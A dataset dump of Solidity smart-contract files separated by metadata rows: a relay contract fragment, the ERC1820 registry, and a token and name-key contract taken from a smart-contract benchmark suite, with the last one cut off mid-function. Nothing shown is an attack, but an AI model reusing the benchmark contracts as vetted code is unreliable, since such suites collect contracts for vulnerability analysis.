// struct{vec<u8>, u32, vec<EthereumAddress>}
// signatures - signed by personal_sign
function updateRelayer(bytes memory message,
bytes[] memory signatures,
bytes32 beneficiary) public whenNotPaused {
// verify hash, signatures (The number of signers must be greater than _threshold)
require(_checkSignature(message, signatures),
"Relay: Bad relayer signature");
// decode message, check nonce and relayer
Input.Data memory data = Input.from(message);
(bytes memory prefix, bytes4 methodID, uint32 nonce, address[] memory authorities) = Scale.decodeAuthorities(data);
require(checkNetworkPrefix(prefix), "Relay: Bad network prefix");
require(methodID == hex"b4bcf497", "Relay: Bad method ID");
require(checkRelayerNonce(nonce), "Relay: Bad relayer set nonce");
// update nonce,relayer
_updateRelayer(nonce, authorities, beneficiary);
}
// Add a mmr root to the mmr root pool
// message - bytes4 prefix + uint32 mmr-index + bytes32 mmr-root
// struct{vec<u8>, u32, H256}
// encode by scale codec
// signatures - The signature for message
// https://github.com/darwinia-network/darwinia-common/pull/381
function appendRoot(bytes memory message,
bytes[] memory signatures) public whenNotPaused {
// verify hash, signatures
require(_checkSignature(message, signatures),
"Relay: Bad relayer signature");
// decode message, check nonce and relayer
Input.Data memory data = Input.from(message);
(bytes memory prefix, bytes4 methodID, uint32 index, bytes32 root) = Scale.decodeMMRRoot(data);
require(checkNetworkPrefix(prefix), "Relay: Bad network prefix");
require(methodID == hex"479fbdf9", "Relay: Bad method ID");
// append index, root
_appendRoot(index, root);
}
function verifyRootAndDecodeReceipt(bytes32 root,
uint32 MMRIndex,
uint32 blockNumber,
bytes memory blockHeader,
bytes32[] memory peaks,
bytes32[] memory siblings,
bytes memory eventsProofStr,
bytes memory key) public view whenNotPaused returns (bytes memory){
// verify block proof
require(verifyBlockProof(root, MMRIndex, blockNumber, blockHeader, peaks, siblings),
"Relay: Block header proof varification failed");
// get state root
bytes32 stateRoot = Scale.decodeStateRootFromBlockHeader(blockHeader);
return getLockTokenReceipt(stateRoot, eventsProofStr, key);
}
function verifyBlockProof(bytes32 root,
uint32 MMRIndex,
uint32 blockNumber,
bytes memory blockHeader,
bytes32[] memory peaks,
bytes32[] memory siblings) public view whenNotPaused returns (bool) {
require(getMMRRoot(MMRIndex) != bytes32(0),
"Relay: Not registered under this index");
require(getMMRRoot(MMRIndex) == root,
"Relay: Root is different from the root pool");
return MMR.inclusionProof(root, MMRIndex + 1, blockNumber, blockHeader, peaks, siblings);
}
/// ==== onlyOwner ====
function resetRoot(uint32 index, bytes32 root) public onlyOwner {
_setRoot(index, root);
emit ResetRootEvent(_msgSender(), root, index);
}
function unpause() public onlyOwner {
_unpause();
}
function pause() public onlyOwner {
_pause();
}
function resetNetworkPrefix(bytes memory _prefix) public onlyOwner {
_setNetworkPrefix(_prefix);
}
function resetRelayerThreshold(uint8 _threshold) public onlyOwner {
_setRelayThreshold(_threshold);
}
function resetRelayer(uint32 nonce, address[] memory accounts) public onlyOwner {
_resetRelayer(nonce, accounts);
}
/// ==== Internal ====
function _updateRelayer(uint32 nonce, address[] memory accounts, bytes32 beneficiary) internal {
require(accounts.length > 0, "Relay: accounts is empty");
emit SetAuthoritiesEvent(nonce, accounts, beneficiary);
relayers.member = accounts;
relayers.nonce = getRelayerNonce() + 1;
}
function _resetRelayer(uint32 nonce, address[] memory accounts) internal {
require(accounts.length > 0, "Relay: accounts is empty");
relayers.member = accounts;
relayers.nonce = nonce;
emit ResetAuthoritiesEvent(nonce, accounts);
}
function _appendRoot(uint32 index, bytes32 root) internal {
require(getMMRRoot(index) == bytes32(0), "Relay: Index has been set");
_setRoot(index, root);
}
function _setRoot(uint32 index, bytes32 root) internal {
mmrRootPool[index] = root;
emit SetRootEvent(_msgSender(), root, index);
}
function _setNetworkPrefix(bytes memory prefix) internal {
networkPrefix = prefix;
}
function _setRelayThreshold(uint8 _threshold) internal {
require(_threshold > 0, "Relay:: _setRelayThreshold: _threshold equal to 0");
relayers.threshold = _threshold;
}
// Ecdsa.recover can recover the signers address.
// If the signer is matched "isRelayer", it will be counted as a valid signature
// and all signatures will be restored.
// If the number of qualified signers is greater than Equal to threshold,
// the verification is considered successful, otherwise it fails
function _checkSignature(bytes memory message,
bytes[] memory signatures) internal view returns (bool) {
require(signatures.length != 0, "Relay:: _checkSignature: signatures is empty");
bytes32 hash = keccak256(message);
uint256 count;
address[] memory signers = new address[](signatures.length);
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(hash);
for (uint256 i = 0; i < signatures.length; i++) {
address signer = ECDSA.recover(ethSignedMessageHash, signatures[i]);
signers[i] = signer;
}
require(!hasDuplicate(signers), "Relay:: hasDuplicate: Duplicate entries in list");
for (uint256 i = 0; i < signatures.length; i++) {
if (isRelayer(signers[i])) {
count++;
}
}
uint8 threshold = uint8(SafeMath.div(SafeMath.mul(count, 100), getRelayerCount()));
return threshold >= getRelayerThreshold();
}
function hasDuplicate(address[] memory A) internal pure returns (bool) {
if (A.length == 0) {
return false;
}
for (uint256 i = 0; i < A.length - 1; i++) {
for (uint256 j = i + 1; j < A.length; j++) {
if (A[i] == A[j]) {
return true;
}
}
}
return false;
}
}
| 149,384 | 11,302 |
3ae4629e55c0ca1297a383177099572168c9d9b0e9d01833bc39673f28915750
| 12,974 |
.sol
|
Solidity
| false |
623288667
|
collectionswap/collectionswap
|
3a660e8f53a2c7d00edcc40664f4c5a2b2fd064a
|
contracts/lib/ERC1820Registry.sol
| 2,298 | 9,231 |
pragma solidity ^0.8.4;
// IV is value needed to have a vanity address starting with '0x1820'.
// IV: 53759
/// @dev The interface a contract MUST implement if it is the implementer of
/// some (other) interface for any address other than itself.
interface ERC1820ImplementerInterface {
/// @param interfaceHash keccak256 hash of the name of the interface
/// @param addr Address for which the contract will implement the interface
function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32);
}
/// @title ERC1820 Pseudo-introspection Registry Contract
/// @author Jordi Baylina and Jacques Dafflon
/// @notice This contract is the official implementation of the ERC1820 Registry.
/// @notice For more details, see https://eips.ethereum.org/EIPS/eip-1820
contract ERC1820Registry {
/// @notice ERC165 Invalid ID.
bytes4 constant internal INVALID_ID = 0xffffffff;
bytes4 constant internal ERC165ID = 0x01ffc9a7;
bytes32 constant internal ERC1820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC"));
/// @notice mapping from addresses and interface hashes to their implementers.
mapping(address => mapping(bytes32 => address)) internal interfaces;
/// @notice mapping from addresses to their manager.
mapping(address => address) internal managers;
/// @notice flag for each address and erc165 interface to indicate if it is cached.
mapping(address => mapping(bytes4 => bool)) internal erc165Cached;
/// @notice Indicates a contract is the 'implementer' of 'interfaceHash' for 'addr'.
event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
/// @notice Indicates 'newManager' is the address of the new manager for 'addr'.
event ManagerChanged(address indexed addr, address indexed newManager);
/// @notice Query if an address implements an interface and through which contract.
/// @param _addr Address being queried for the implementer of an interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @return The address of the contract which implements the interface '_interfaceHash' for '_addr'
/// or '0' if '_addr' did not register an implementer for this interface.
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
address addr = _addr == address(0) ? msg.sender : _addr;
if (isERC165Interface(_interfaceHash)) {
bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : address(0);
}
return interfaces[addr][_interfaceHash];
}
/// @notice Sets the contract which implements a specific interface for an address.
/// Only the manager defined for that address can set it.
/// (Each address is the manager for itself until it sets a new manager.)
/// @param _addr Address for which to set the interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @param _implementer Contract address implementing '_interfaceHash' for '_addr'.
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
address addr = _addr == address(0) ? msg.sender : _addr;
require(getManager(addr) == msg.sender, "Not the manager");
require(!isERC165Interface(_interfaceHash), "Must not be an ERC165 hash");
if (_implementer != address(0) && _implementer != msg.sender) {
require(ERC1820ImplementerInterface(_implementer)
.canImplementInterfaceForAddress(_interfaceHash, addr) == ERC1820_ACCEPT_MAGIC,
"Does not implement the interface");
}
interfaces[addr][_interfaceHash] = _implementer;
emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
}
/// @notice Sets '_newManager' as manager for '_addr'.
/// The new manager will be able to call 'setInterfaceImplementer' for '_addr'.
/// @param _addr Address for which to set the new manager.
function setManager(address _addr, address _newManager) external {
require(getManager(_addr) == msg.sender, "Not the manager");
managers[_addr] = _newManager == _addr ? address(0) : _newManager;
emit ManagerChanged(_addr, _newManager);
}
/// @notice Get the manager of an address.
/// @param _addr Address for which to return the manager.
/// @return Address of the manager for a given address.
function getManager(address _addr) public view returns(address) {
// By default the manager of an address is the same address
if (managers[_addr] == address(0)) {
return _addr;
} else {
return managers[_addr];
}
}
/// @notice Compute the keccak256 hash of an interface given its name.
/// @param _interfaceName Name of the interface.
/// @return The keccak256 hash of an interface name.
function interfaceHash(string calldata _interfaceName) external pure returns(bytes32) {
return keccak256(abi.encodePacked(_interfaceName));
}
/// @notice Updates the cache with whether the contract implements an ERC165 interface or not.
/// @param _contract Address of the contract for which to update the cache.
/// @param _interfaceId ERC165 interface for which to update the cache.
function updateERC165Cache(address _contract, bytes4 _interfaceId) external {
interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(_contract, _interfaceId) ? _contract : address(0);
erc165Cached[_contract][_interfaceId] = true;
}
/// @notice Checks whether a contract implements an ERC165 interface or not.
// If the result is not cached a direct lookup on the contract address is performed.
// 'updateERC165Cache' with the contract address.
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
if (!erc165Cached[_contract][_interfaceId]) {
return implementsERC165InterfaceNoCache(_contract, _interfaceId);
}
return interfaces[_contract][_interfaceId] == _contract;
}
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if (success == 0 || result == 0) {
return false;
}
(success, result) = noThrowCall(_contract, INVALID_ID);
if (success == 0 || result != 0) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if (success == 1 && result == 1) {
return true;
}
return false;
}
/// @notice Checks whether the hash is a ERC165 interface (ending with 28 zeroes) or not.
/// @param _interfaceHash The hash to check.
/// @return True if '_interfaceHash' is an ERC165 interface (ending with 28 zeroes), false otherwise.
function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
}
/// @dev Make a call on a contract without throwing if the function does not exist.
function noThrowCall(address _contract, bytes4 _interfaceId)
internal view returns (uint256 success, uint256 result)
{
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(x, erc165ID) // Place signature at beginning of empty storage
mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
success := staticcall(30000, // 30k gas
_contract, // To addr
x, // Inputs are stored at location x
0x24, // Inputs are 36 (4 + 32) bytes long
x, // Store output over input (saves space)
0x20 // Outputs are 32 bytes long)
result := mload(x) // Load the result
}
}
}
| 223,575 | 11,303 |
45afde2d245101681fbb7a5dfb433b2971e23a0d13c91c3a99c8ebee71d2e8a1
| 21,569 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x51bedad07ab8c2470556d565f98307d89380a6da.sol
| 6,629 | 21,025 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
interface INameAccountRecovery {
function isCompromised(address _id) external view returns (bool);
}
interface INameFactory {
function nonces(address _nameId) external view returns (uint256);
function incrementNonce(address _nameId) external returns (uint256);
function ethAddressToNameId(address _ethAddress) external view returns (address);
function setNameNewAddress(address _id, address _newAddress) external returns (bool);
function nameIdToEthAddress(address _nameId) external view returns (address);
}
interface INamePublicKey {
function initialize(address _id, address _defaultKey, address _writerKey) external returns (bool);
function isKeyExist(address _id, address _key) external view returns (bool);
function getDefaultKey(address _id) external view returns (address);
function whitelistAddKey(address _id, address _key) external returns (bool);
}
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name;
address public originId;
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
function () external payable {
}
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6;
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6;
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
((isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)));
}
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
contract NamePublicKey is TheAO, INamePublicKey {
using SafeMath for uint256;
address public nameFactoryAddress;
address public nameAccountRecoveryAddress;
INameFactory internal _nameFactory;
INameTAOPosition internal _nameTAOPosition;
INameAccountRecovery internal _nameAccountRecovery;
struct PublicKey {
bool created;
address defaultKey;
address writerKey;
address[] keys;
}
mapping (address => PublicKey) internal publicKeys;
mapping (address => address) public keyToNameId;
event AddKey(address indexed nameId, address publicKey, uint256 nonce);
event RemoveKey(address indexed nameId, address publicKey, uint256 nonce);
event SetDefaultKey(address indexed nameId, address publicKey, uint256 nonce);
event SetWriterKey(address indexed nameId, address publicKey, uint256 nonce);
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public {
setNameFactoryAddress(_nameFactoryAddress);
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier onlyFactory {
require (msg.sender == nameFactoryAddress);
_;
}
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
modifier senderNameNotCompromised() {
require (!_nameAccountRecovery.isCompromised(_nameFactory.ethAddressToNameId(msg.sender)));
_;
}
modifier keyNotTaken(address _key) {
require (_key != address(0) && keyToNameId[_key] == address(0));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameFactoryAddress(address _nameFactoryAddress) public onlyTheAO {
require (_nameFactoryAddress != address(0));
nameFactoryAddress = _nameFactoryAddress;
_nameFactory = INameFactory(_nameFactoryAddress);
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = INameTAOPosition(_nameTAOPositionAddress);
}
function setNameAccountRecoveryAddress(address _nameAccountRecoveryAddress) public onlyTheAO {
require (_nameAccountRecoveryAddress != address(0));
nameAccountRecoveryAddress = _nameAccountRecoveryAddress;
_nameAccountRecovery = INameAccountRecovery(nameAccountRecoveryAddress);
}
function whitelistAddKey(address _id, address _key) external isName(_id) keyNotTaken(_key) inWhitelist returns (bool) {
require (_addKey(_id, _key));
return true;
}
function isExist(address _id) public view returns (bool) {
return publicKeys[_id].created;
}
function initialize(address _id, address _defaultKey, address _writerKey)
external
isName(_id)
keyNotTaken(_defaultKey)
keyNotTaken(_writerKey)
onlyFactory returns (bool) {
require (!isExist(_id));
keyToNameId[_defaultKey] = _id;
if (_defaultKey != _writerKey) {
keyToNameId[_writerKey] = _id;
}
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.created = true;
_publicKey.defaultKey = _defaultKey;
_publicKey.writerKey = _writerKey;
_publicKey.keys.push(_defaultKey);
if (_defaultKey != _writerKey) {
_publicKey.keys.push(_writerKey);
}
return true;
}
function getTotalPublicKeysCount(address _id) public isName(_id) view returns (uint256) {
require (isExist(_id));
return publicKeys[_id].keys.length;
}
function isKeyExist(address _id, address _key) isName(_id) external view returns (bool) {
require (isExist(_id));
require (_key != address(0));
return keyToNameId[_key] == _id;
}
function addKey(address _id,
address _key,
uint256 _nonce,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) keyNotTaken(_key) senderNameNotCompromised {
require (_nonce == _nameFactory.nonces(_id).add(1));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _key, _nonce));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == _key);
require (_addKey(_id, _key));
}
function getDefaultKey(address _id) external isName(_id) view returns (address) {
require (isExist(_id));
return publicKeys[_id].defaultKey;
}
function getWriterKey(address _id) external isName(_id) view returns (address) {
require (isExist(_id));
return publicKeys[_id].writerKey;
}
function isNameWriterKey(address _id, address _key) public isName(_id) view returns (bool) {
require (isExist(_id));
require (_key != address(0));
return publicKeys[_id].writerKey == _key;
}
function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[] memory) {
require (isExist(_id));
require (_from >= 0 && _to >= _from);
PublicKey memory _publicKey = publicKeys[_id];
require (_publicKey.keys.length > 0);
if (_to > _publicKey.keys.length.sub(1)) {
_to = _publicKey.keys.length.sub(1);
}
address[] memory _keys = new address[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_keys[i.sub(_from)] = _publicKey.keys[i];
}
return _keys;
}
function removeKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {
require (this.isKeyExist(_id, _key));
PublicKey storage _publicKey = publicKeys[_id];
require (_key != _publicKey.defaultKey);
require (_key != _publicKey.writerKey);
require (_publicKey.keys.length > 1);
keyToNameId[_key] = address(0);
uint256 index;
for (uint256 i = 0; i < _publicKey.keys.length; i++) {
if (_publicKey.keys[i] == _key) {
index = i;
break;
}
}
for (uint256 i = index; i < _publicKey.keys.length.sub(1); i++) {
_publicKey.keys[i] = _publicKey.keys[i+1];
}
_publicKey.keys.length--;
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit RemoveKey(_id, _key, _nonce);
}
function setDefaultKey(address _id, address _defaultKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {
require (this.isKeyExist(_id, _defaultKey));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _defaultKey));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.defaultKey = _defaultKey;
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit SetDefaultKey(_id, _defaultKey, _nonce);
}
function setWriterKey(address _id, address _writerKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _writerKey));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);
require (_setWriterKey(_id, _writerKey));
}
function addSetWriterKey(address _id,
address _key,
uint256 _nonce,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) keyNotTaken(_key) senderNameNotCompromised {
require (_nonce == _nameFactory.nonces(_id).add(1));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _key, _nonce));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == _key);
require (_addKey(_id, _key));
require (_setWriterKey(_id, _key));
}
function _addKey(address _id, address _key) internal returns (bool) {
require (!this.isKeyExist(_id, _key));
keyToNameId[_key] = _id;
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.keys.push(_key);
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit AddKey(_id, _key, _nonce);
return true;
}
function _setWriterKey(address _id, address _writerKey) internal returns (bool) {
require (this.isKeyExist(_id, _writerKey));
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.writerKey = _writerKey;
